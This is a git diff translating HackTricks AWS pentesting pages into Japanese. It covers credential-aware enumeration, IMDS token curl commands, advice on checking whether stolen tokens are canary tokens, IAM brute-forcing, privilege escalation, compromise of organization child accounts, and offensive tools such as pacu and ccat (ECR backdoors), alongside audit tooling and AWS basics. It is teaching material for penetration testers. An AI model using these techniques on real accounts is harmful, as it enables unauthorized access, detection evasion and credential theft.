@@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
-
> [!CAUTION]
-> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\
-> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
+> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**ときに特定することがあります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\
+> 詳細については[**このページを確認してください**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。
-### Org Enumeration
+### 組織の列挙
{{#ref}}
aws-services/aws-organizations-enum.md
{{#endref}}
-### IAM Enumeration
+### IAMの列挙
-If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**.
+十分な権限がある場合、**AWSアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、どのように**権限を昇格させることができるか**を理解するのに役立ちます。
-If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\
-Check **how to do the numeration and brute-forcing** in:
+IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことができます。\
+**列挙とブルートフォースの方法**については以下を確認してください:
{{#ref}}
aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
-> In the following section you can check some ways to **enumerate some common services.**
+> 現在、**あなたの資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願っています)。環境で使用されているサービスを特定する時が来ました。\
+> 次のセクションでは、**一般的なサービスを列挙する方法**を確認できます。
-## Services Enumeration, Post-Exploitation & Persistence
+## サービスの列挙、ポストエクスプロイト & 永続性
-AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
+AWSには驚くべき数のサービスがあります。次のページでは、**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます:
{{#ref}}
aws-services/
{{#endref}}
-Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools).
+すべての作業を**手動で**行う必要はないことに注意してください。以下の投稿には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。
-Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
+さらに、この段階で**認証されていないユーザーに公開されているサービスが**見つかるかもしれません。これらを悪用できるかもしれません:
{{#ref}}
aws-unauthenticated-enum-access/
{{#endref}}
-## Privilege Escalation
+## 権限昇格
-If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in:
+異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認することができます**。少なくとも以下の権限に焦点を当てるべきです:
{{#ref}}
aws-privilege-escalation/
{{#endref}}
-## Publicly Exposed Services
+## 公開されたサービス
-While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
-As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
+AWSサービスを列挙しているときに、いくつかのサービスが**インターネットに要素を公開している**のを見つけたかもしれません(VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど)。\
+ペンテスター/レッドチームとして、これらに**機密情報/脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。
-In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
+この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします:
{{#ref}}
https://book.hacktricks.xyz/
{{#endref}}
-## Compromising the Organization
+## 組織の侵害
-### From the root/management account
+### ルート/管理アカウントから
-When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account.
+管理アカウントが組織内に新しいアカウントを作成すると、**新しい役割**が新しいアカウントに作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
-So, in order to access as administrator a child account you need:
+したがって、子アカウントに管理者としてアクセスするには、次のことが必要です:
-- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin.
- - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts`
- - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**.
-- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary).
+- **管理**アカウントを**侵害**し、**子アカウントのID**と**役割の名前**(デフォルトでOrganizationAccountAccessRole)を見つけて、管理アカウントが管理者としてアクセスできるようにします。
+- 子アカウントを見つけるには、AWSコンソールの組織セクションに移動するか、`aws organizations list-accounts`を実行します。
+- 役割の名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。
+- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパルを侵害**し、子アカウントの役割に対して**(管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です)**。
-## Automated Tools
+## 自動ツール
-### Recon
-
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby.
+### リコン
+- [**aws-recon**](https://github.com/darkbitio/aws-recon):Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**。
```bash
# Install
gem install aws_recon
# Recon and get json
AWS_PROFILE= aws_recon \
- --services S3,EC2 \
- --regions global,us-east-1,us-east-2 \
- --verbose
+--services S3,EC2 \
+--regions global,us-east-1,us-east-2 \
+--verbose
```
-
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues.
-
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlistは、クラウドプロバイダーからアセット(ホスト名、IPアドレス)を取得するための**マルチクラウドツール**です。
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services(AWS)環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
{
- "accounts": [
- {
- "default": true,
- "id": "",
- "name": "dev"
- }
- ],
- "cidrs":
- {
- "2.2.2.2/28": {"name": "NY Office"}
- }
+"accounts": [
+{
+"default": true,
+"id": "",
+"name": "dev"
+}
+],
+"cidrs":
+{
+"2.2.2.2/28": {"name": "NY Office"}
+}
}
# Enumerate
@@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-
-- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database.
-
+- [**cartography**](https://github.com/lyft/cartography): Cartographyは、Neo4jデータベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。
```bash
# Install
pip install cartography
@@ -240,17 +233,15 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account.
-- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2を使用) これは、アカウント内で作成されたすべての[**AWSリソース**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)を**発見しようとする**ツールです。
+- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): これは、AWSアカウントに関連付けられた**すべてのパブリックIPアドレス**(IPv4/IPv6の両方)を**取得する**ツールです。
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict.
- - Note that pacu **only checks your own privescs paths** (not account wide).
-
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWSシャドウ管理者を含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内で見つけることができます。
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。
+- pacuは**自分のプライベスパスのみをチェックします**(アカウント全体ではありません)。
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) は、AWS アカウントまたは AWS 組織の AWS Identity and Access Management (IAM) の設定におけるリスクを特定するためのスクリプトとライブラリです。これは、アカウント内の異なる IAM ユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者が AWS 内のリソースやアクションにアクセスするために取る可能性のある代替経路を確認できるようにします。**privesc** パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) の `_edges.py` で終わるファイル名で確認できます。
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
- It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplainingは、最小特権の違反を特定し、リスク優先のHTMLレポートを生成するAWS IAMセキュリティ評価ツールです。\
+それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWS **ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。(それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します)。
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの設定の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドアを仕掛けたイメージをプッシュ
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebagは、公開されたElastic Block Storage(**EBS)スナップショット**を通じて、偶然に残された可能性のある秘密を**検索**するツールです。
### Audit
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
-
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services (AWS)、Microsoft Azure、Google Cloud Platform (GCP)、Oracle Cloud Infrastructure (OCI)、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです(ShadowAdminsは探しません)。
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowlerは、AWSのセキュリティベストプラクティスの評価、監査、インシデントレスポンス、継続的な監視、ハードニング、およびフォレンジック準備を行うためのオープンソースのセキュリティツールです。
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を得るのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。
```bash
cloudfox aws --profile [profile-name] all-checks
```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suiteは、クラウド環境のセキュリティ姿勢評価を可能にするオープンソースのマルチクラウドセキュリティ監査ツールです。
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): クラウドセキュリティスイート(python2.7を使用し、メンテナンスされていないようです)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): ZeusはAWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです(メンテナンスされていないようです)。システム内のデフォルト設定されたクレデンシャルのみをチェックします。
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### 定常監査
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは**適切に管理されたクラウドインフラストラクチャを有効にするポリシーを定義**することができます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。
+- [**pacbot**](https://github.com/tmobile/pacbot)**: コードとしてのポリシーボット(PacBot)**は、**クラウドのための継続的なコンプライアンス監視、コンプライアンスレポート、およびセキュリティ自動化のプラットフォーム**です。PacBotでは、セキュリティとコンプライアンスのポリシーがコードとして実装されます。PacBotによって発見されたすべてのリソースは、これらのポリシーに対して評価され、ポリシーの適合性が測定されます。PacBotの**自動修正**フレームワークは、事前定義されたアクションを実行することによってポリシー違反に自動的に対応する能力を提供します。
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**定義したデータソースとアラートロジックを使用して、任意の環境からデータを取り込み、分析し、アラートを出す**ことを可能にします。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。
+## DEBUG: AWS cliリクエストをキャプチャする
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-
-## References
+## 参考文献
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..87269d440 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,331 +1,317 @@
-# AWS - Basic Information
+# AWS - 基本情報
{{#include ../../../banners/hacktricks-training.md}}
-## Organization Hierarchy
+## 組織階層
.png>)
-### Accounts
+### アカウント
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+AWSには**ルートアカウント**があり、これは**組織内のすべてのアカウントの親コンテナ**です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なるAWS**インフラストラクチャを分離するために**他のアカウントを作成することができます**。
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+これは**セキュリティ**の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**(特別にブリッジが作成されない限り)。このようにして、デプロイメント間に境界を作成できます。
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+したがって、**組織内には2種類のアカウントがあります**(AWSアカウントについて話しており、ユーザーアカウントではありません):管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- **管理アカウント(ルートアカウント)**は、組織を作成するために使用するアカウントです。組織の管理アカウントから、次のことができます:
- - Create accounts in the organization
- - Invite other existing accounts to the organization
- - Remove accounts from the organization
- - Manage invitations
- - Apply policies to entities (roots, OUs, or accounts) within the organization
- - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- - It's possible to login as the root user using the email and password used to create this root account/organization.
+- 組織内にアカウントを作成する
+- 他の既存のアカウントを組織に招待する
+- 組織からアカウントを削除する
+- 招待を管理する
+- 組織内のエンティティ(ルート、OU、またはアカウント)にポリシーを適用する
+- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。
+- このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。
- The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。
+- **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。
+- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできません(ただし、アクセスが与えられる場合があります)。
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
+### **組織単位**
-### **Organization Units**
-
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+アカウントは**組織単位 (OU)**にグループ化できます。この方法で、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
+### サービス制御ポリシー (SCP)
-### Service Control Policy (SCP)
+**サービス制御ポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM** 権限ポリシーに**似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**SCPはメンバーアカウント内のエンティティの権限を制限します**。
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
-
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+これは**ルートユーザーでさえも何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\
+これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです(マスターアカウントはブロックできません)。
> [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが` s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。
-SCP examples:
+SCPの例:
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- ルートアカウントを完全に拒否
+- 特定のリージョンのみを許可
+- ホワイトリストに登録されたサービスのみを許可
+- GuardDuty、CloudTrail、およびS3のパブリックブロックアクセスを無効にすることを拒否
- being disabled
+- セキュリティ/インシデントレスポンスロールの削除または
-- Deny security/incident response roles from being deleted or
+変更を拒否。
- modified.
+- バックアップの削除を拒否。
+- IAMユーザーとアクセスキーの作成を拒否。
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
-
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+**JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。
### ARN
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazonリソース名**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+注意:AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - Identity and Access Management
+## IAM - アイデンティティとアクセス管理
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+IAMは、AWSアカウント内で**認証**、**認可**、および**アクセス制御**を管理することを可能にするサービスです。
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+- **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。
+- **認可** - アイデンティティがシステム内でアクセスできるものを決定します。
+- **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、認可、アクセス制御メカニズムを管理、制御、統治する能力によって定義されます。
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが作成されます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。
-Note that a new **admin user** will have **less permissions that the root user**.
+新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。
-From a security point of view, it's recommended to create other users and avoid using this one.
+セキュリティの観点からは、他のユーザーを作成し、このユーザーの使用を避けることが推奨されます。
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
